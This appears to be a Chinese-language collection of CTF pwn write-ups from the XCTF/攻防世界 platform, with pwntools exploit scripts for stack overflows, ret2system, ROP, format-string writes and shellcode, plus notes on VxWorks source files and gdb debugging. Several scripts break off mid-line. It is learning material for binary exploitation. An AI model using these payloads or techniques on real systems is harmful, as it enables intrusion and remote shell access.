Guess_num

其实这题没有什么太多的好说,就是补充随机种子为1就可以进行游戏了,这样对于这个长周期的“随机函数”我们每次都可以找到相对应的数字。关键就是要引入相对应的库。没什么好说的。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * from ctypes import * context.log_level='debug' io = remote('111.198.29.45', 57553) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") payload = "a" * 0x20 + p64(1) sh.recvuntil('Your name:') sh.sendline(payload) libc.srand(1) for i in range(10): num = str(libc.rand()%6+1) sh.recvuntil('number:') sh.sendline(num) sh.interactive()

催命的pwn100

攻防世界,题目链接: 我一开始只是为了学习32位程序和64位程序之间传参的区别,谁知道呢?随便找了一题,磨死我了。 然后开始慢慢的修仙路。 打开,先看看有没有我们想要的东西。很好,没有,都没有,没有system,没有binsh 放到64位ida里面,按下F5,刚打开main函数,都是知道是非常简单的,只有一个比较可疑的函数,双击打开看一下。 这里面有一个等待我们去泄露的char数组,长度为0x40,加上RBP的长度为8,所以可以知道填充的垃圾数据长度为0x48,那么我们看到puts这是个输出函数,非常好用,可以用来泄露地址,所以我们可以先一下里面的那个类似read的函数。 这里需要主要的是puts这个函数每次都会在检测到’\x00’后停止输出,然后自动加上一个’\n’符号,但是这题没有system,没有binsh,那么我就可以考虑泄露libc,但是题目没有给出libc的版本号,我上网查了一下,查到两种方式,一种是利用pwntools里面的工具DynELF来确定system_addr,一种是利用别人写好的脚本LlibcSearcher,但是我懒得下,就学那种DynELF吧。 双击打开,看到结构和返回值可以判定,这个是read函数的一个函数,当长度大于a2后就进行跳出。有意思。 几乎没有什么随机的。 没有libc,没有system,没有/bin/sh,只有read和put,所以基本上我们的思路都是泄露出libc基地址,然后利用偏移量来计算system在内存中的自制。 好的首先既然没有”/bin/sh”那么就找到bss段来当buffer缓冲区,在ida按ctrl+s跳出分段表,然后找到bss段。 但是!!这里的bss段我用不了。后面补充说。 找到起始地址是0x601050【后面这个是用不了的】 64位的,考虑到64位程序的函数调用一部分是通过寄存器来完成的,依次是,rdi,rsi,rdx,rcx,r8,r9。 所以我们需要去找一些gadget。 然后去找gadget。对于函数最多的参数是两个,所以最多到rsi,所以我们找两个差不多了。 两个都找到了,然后看到一个r15,那个随便给一个值就行了。 我们先溢出char数组,然后跳转到read当中去,然后输入/bin/sh,然后有跳转到system引用/bin/sh就行了。这就是思路。 但是结合晚上的脚本,我试了,有两种实现方式。 第一种,常规法(有DynELF部分代码新学习的,参考网上的,是在没有什么改动的,就抄下来了) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * context.

自编自导的32位和64位之间函数调用约定的测试

给出源码:level.c 1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h>#include <stdlib.h>#include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); } 然后用下列两个命令来区分32位程序和64位程序 1 2 3 4 5 #32bits gcc -m32 -fno-stack-protector level.c -o level_32 #64bits gcc -fno-stack-protector level.c -o level_64 然后分别用checksec检查一下: 检查32位的程序: 检查64位程序: 好的,那么我们就来看一下区别。 首先先给出32位的exp,32位的参数都是在栈上进行存储的,所以我们都可以直接伪造栈帧就行了,不需要考虑64位那样的寄存器之类的问题。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * local=0 if local==1: sh=process('.

ROP

学习网站: https://www.cnblogs.com/ichunqiu/p/11196219.html 我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的ShellCode就无法执行。 关于这个特性的实验在此不做展开,大家可以尝试在调试时修改EIP和read( )/scanf( )/gets( )等函数的参数来观察操作无对应属性内存的结果。 既然攻击者们能想到在RWX段内存页中写入ShellCode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程) 顾名思义,ROP就是使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。 而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。 exp学习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #!

Vxworks5

内存 bootConfig.c——主要是针对开机时硬件环境的配置 bootInit.c——初始化硬件,初始化内存(清理等操作) configAll.c——初始化内存运行环境 dataSegPad.c——MMU,内存管理单元,分页机制的创建,文本段,数据段等等,段加锁之类的操作 usrConfig.c——用户可用内存,内存分配等配置,系统shell的初始化。 romStart.c——物理内存分配使用,可用内存,ROM载入地址,系统入口,ROM载入内存。 intrinsics.c——设置全局的C语言支持的内联函数,强制连接 usrMmuInit.c——MMU初始化,根据CPU基本架构来改变参数 usrLoadSym.c——在内存当中建立全局表,开发符号载入程序。 usrKernel.c—wind内核初始化。 usrStartup.c——系统最初的启动,内存BSS清理等工作。 usrStandalone.c——初始化内置符号表 usrSmObj.c——共享内存工程初始化 usrWdbSys.c——配置WDB客户端,里面包含了单元内拓展堆栈的大小。【VxWorks WDB(Wind调试)目标代理是一个驻留在目标上的运行时工具,用于将主机工具连接到VxWorks目标系统。WDB代理包含一个紧凑的UDP/IP实现和一个专有的RPC消息传递协议WDB。WDB协议使用Sun Microsystems规范进行数据传输的外部数据表示(XDR)。(WDB可以被配置为系统级调试模式、任务级调试模式,或者两种模式同时存在。在任务级模式下,WDB以内核任务的模式运行。在系统级模式下,WDB独立于系统内核运行,并且可以控制内核的运行。WDB能够在VxWorks内核启动前运行,这在BSP开发的初期调试非常有用。)】 usrWdbCore.c——给WDB设置预留内存 usrVxFusion.c——VxFusion【VxFusion:标准的多CPU版本】的初始化。涉及到共享内存的初始化。 usrWdbTask.c——WDB任务,创建一个新的堆栈来进行管理。 I/O bootInit.c——初始化硬件,针对外设进行“沉默”处理,涉及到刚开始硬件之间刚开始的“打招呼” configAll.c——初始化IO接口, usrConfig.c——它包含网络初始化例程、时钟中断例程,系统文件系统的标识,初始化标准输入输出流,系统硬件初始化。 usrAta.c——VxWorks系统的ata支持【一种磁盘分区格式】,涉及到文件系统的操作,磁盘的挂载之类的操作。 usrFd.c——floppy初始化,系统软盘配置和初始化,软盘镜像的操作 usrScsiFs.c——配置和初始化基于SCSI(小型计算机系统接口)设备的VxWorks文件系统 routeSock.c——TCP相关结构体的SOCK初始化 routeSockCfg.c——ROUTE_SOCK组件的配置和初始化,用于初始化“套接字”socket usrBootLine.c——对配置文件进行读取和执行初始化,涉及到网络的配置 usrBsdSocket.c——UNIX系统中通用的网络接口的初始化,套接口寻址族,进行寻址操作。 usrDhcpcCfg.c——此文件用于配置和初始化DHCP客户端和控件,当通过网络启动时自动配置。 usrDnsCfg.s——此文件用于配置和初始化DNS服务,用于解决DNS一些问题。 usrEndLib.c——包含了INCLUDE_END组件的初始化例程(mux设备是什么东西?没有搞懂)【MUX装置为多路转换器,它的作用是确保传感器端子到信号调理板接收的电压信号是正确的端子间电压。信号调理板的功能是给输人信号乘上一个正确的增益,以适合A/D(模/数)转换器的信号接收范围。】 usrFtp.c——FTP客户端启动 usrIcmp.c——控制报文协议,控制消息是指[网络通]、不通、[主机]是否可达、[路由]是否可用等网络本身的消息。在主机与路由器之间传递控制信息。针对没有回应的默认值。 usrIpLib.c——针对IP配置字段的解析,错误则给出failed返回值 usrNetSmnetBoot.c——启动一个共享内存设备【共享内存的好处就是效率高,不需要太多次的进行数据的copy。可以直接进行读写内存。】 usrNetBoot.c——网络初始化,一些网络设备在本地的标识参数以及连接情况。文件内部包括与设备握手的交互情况。 usrNetBootUtil.c——网络启动握手通用工具,包含一些关于DHCP相关的工具 usrNetBsd.c——BSD网络设备的支持,该文件创建一些必要的结构体支持BSD格式的网络设备以供INCLUDE_NET_INIT的组件的使用。 usrNetBsdBoot.c——启动一个与BSD相兼容的设备,处理相关于与设备交互的问题,(比如连接冲突之类的问题) usrNetConfigIf.c——配置网络设备的交互接口,给出一些含有设备名称、子网掩码之类的结构体。 usrNetDhcpcBootSetup.c——主要解决IP租聘的问题,DHCP服务相关。

String

没有system,没有提供libc,看来不是利用ret2libc之类的东西,而是涉及到一个shellcode的东西。 巫师说,我将会帮你,需要你提出要求 新学习的shellcode: shellcode就是一段漏洞代码,利用在eip暂时溢出的情况下塞入一段代码。 框里面的意思就是,先分配一段可执行内存mmap(),然后给人写入一段shellcode,然后最后一行,引用这段代码,返回类型为void,指针为v1那一句。 关键是如何进入框内的判定圈呢,根据数据流的方向来看看。 关键是这两个数字判定一致 v3第一个地址已经给出了。 那么如何修改这个数字呢? 我们就考虑到找到 printf(&ans) 这一类的语句,利用格式化来修改。 既然找到了。那我们就可以来写exp了。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * import binascii context.log_level='debug' context.arch='amd64' sh=remote('111.198.29.45',35097) elf=ELF('./string') sh.recvuntil("secret[0] is ") v4_addr=int(sh.recvuntil("\n")[:-1], 16) sh.sendlineafter('name be:','ghidra') sh.sendlineafter('or up?','east') sh.sendlineafter('(0)?','1') sh.sendlineafter('address',str(v4_addr)) #length is 68==85,%7$n payload1="%85c%7$n" sh.sendlineafter('wish is:',payload1) shellcode = asm(shellcraft.amd64.sh(),arch="amd64") sh.sendlineafter('USE YOU SPELL',shellcode) sh.interactive()

Cgpwna

具体都是可以看到的 fget()函数是一个很安全的函数,一般很难溢出,所以我们现在需要做的就是更改n的值,然后构造伪栈帧来达到跳转。 然而这里面只有sytem,没有”/bin/sh”,所以需要我们自己来输入,然后这个地址记得加上偏移量,也就是exp上面需要有+44的偏移量。 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.log_level='debug' sh=remote('182.254.217.142',10001) elf=ELF('./cgpwna') system_plt=0x080483F0 sh.sendlineafter('your choice:','1') payload1="X"*40+p32(100)+"/bin/sh" sh.sendlineafter('here:',payload1) bin_sh_addr=0x0804A080+44 payload2="X"*0x30+"XXXX"+p32(system_plt)+"XXXX"+p32(bin_sh_addr) sh.sendlineafter('please:',payload2) sh.interactive() 成功

Cgpwn2

gets()是一个危险的函数,没有边界检查功能。所以这个肯定是这题的题眼。 根据下图, 发现有system但是没有”/bin/sh”的东西,所以我们根据网上的提示,来发现,利用name这个变量来构造。 然后我们就可以看看从哪里引用system了。 找到system的PLT的地址。 就是这个_system 好的,然后就很简单了。 1 2 3 4 5 6 7 8 9 from pwn import * context.log_level='debug' sh=remote('111.198.29.45',42318) sh.sendlineafter('name','/bin/sh') system_plt=0x08048420 bin_sh_addr=0x0804A080 payload='X'*0x26+"XXXX"+p32(system_plt)+"XXXX"+p32(bin_sh_addr) sh.sendlineafter('here:\n',payload) sh.interactive()

用gdb调试vxworks

学习网站: https://blog.csdn.net/desert187/article/details/24405133 https://blog.csdn.net/czg13548930186/article/details/88327281 windows 64 位 win10 VmWare Workstation 内部集成了调试桩,并可与 Gdb 连接进行远程调试。 找到相对应的需要调试的虚拟机的(.vmx)文件 用记事本类工具打开,最后添加以下这些东西。 1 2 3 debugStub.listen.guest64 = "TRUE" monitor.debugOnStartGuest32 = "TRUE" bios.bootDelay = "3000" 用gdb 1 target remote localhost:8832 ##或者是8833 ida尝试调试 成功的 VMware for Linux 问题尚未解决——网络上几年前的问题也没有人解答。 qemu方面 结果:模拟失败。 原因:我们不知道板级支持包BSP具体的硬件情况,还有诸多信息不了解,对qemu内部源码工作方式也不了解。

Int_overflow

拿题目:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1 这个应该可以利用,应用的地址应该在push语句那里,因为那时候伪栈帧已经伪造好了【伪栈帧构造在exp中】,如果有其他的ebp,或esp发生位移都会破坏原来构造好的结构。汇编代码如下——因为我的cat_flag_addr直接写what_is_this()的函数地址是,不行,进入函数看到汇编才醒悟: 红框里面的命令会破坏原来的栈结构。 现在我来整理一下,首先查看源码看成是一个比较不难的,比较容易深入研究的函数是login() 双击进入login() 可以看到一个比较可疑的是这个passwd的缓冲buf,竟然长达0x199,折合成十进制就是409,也就是说,你输入的密码可以长达409位(这就是可疑的地方) 接着进入check_passwd()函数看看 这里面有两个相关性比较强的语句,dest的缓冲区为0x14,v3是一个无符号,长为8字节的整数变量【也就是说0~255内发生循环变化,换句话将,259-264内都可以判定为success,则我们就可以在这个两百多长度的输入长度里面构造我们自己的伪栈帧。 先上exp 1 2 3 4 5 6 7 8 9 10 from pwn import * context.log_level='debug' sh=remote('111.198.29.45',44327) cat_flag=0x08048694 #其覆盖的是(nexp_eip)的位置 #259-20-4-4 payload='X'*0x14+"XXXX"+p32(cat_flag)+'X'*231 ##先是填充dest的缓冲区20个字节,然后覆盖ebp,点燃后填充next_eip,接着填充剩下的字符,【231-235】都可 sh.sendlineafter('choice','1') ##别偷懒,sendlineafter才行,远程不看缓冲区驻留问题的 sh.sendlineafter(':','xx') sh.sendlineafter(':',payload) sh.recvall() 还有一个exp看的我一愣一愣的 这个的,亲测能跑【注释我自己加的】 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level='debug' sh=remote('111.198.29.45',44327) sys_addr=0x0804868B payload='a'*24+p32(sys_addr) payload=payload.ljust(262,'a') ##就是这句,然后愣了愣可能是右对齐,嘻嘻 sh.recvuntil("Your choice:") sh.sendline("1") sh.recvuntil("Please input your username:\n") sh.

攻防世界level2

拿题目 https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1 先运行一下,似曾相识 丢到ghidra里面 果然嘛,看来是一些别的东西,根据提示,我就先试一下 根据之前level3的水准,我们再来试着来以下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context.log_level='debug' #sh=process("./00") sh=remote('111.198.29.45',31840) elf=ELF('./level2') system_addr=elf.symbols['system'] bin_sh_addr=elf.search('/bin/sh').next() main_addr=elf.symbols['main'] payload1='a'*0x88+p32(0)+p32(main_addr)+p32(0) sh.sendlineafter('Input:\n',payload1) payload2='b'*0x88+p32(0)+p32(main_addr)+p32(0) sh.sendlineafter('Input:\n',payload2) payload3='c'*0x88+p32(0)+p32(system_addr)+p32(0)+p32(bin_sh_addr) sh.sendlineafter('Input:\n',payload3) sh.interactive() 可以看得出,我这个脚本是十分调皮的。其实一个payload3就行了,这里就说明了其内部工作的原理,system为下一个要执行的函数,p32(0)代表的是执行完system函数后没有其他函数要执行了,p32(bin_sh_addr)是system的参数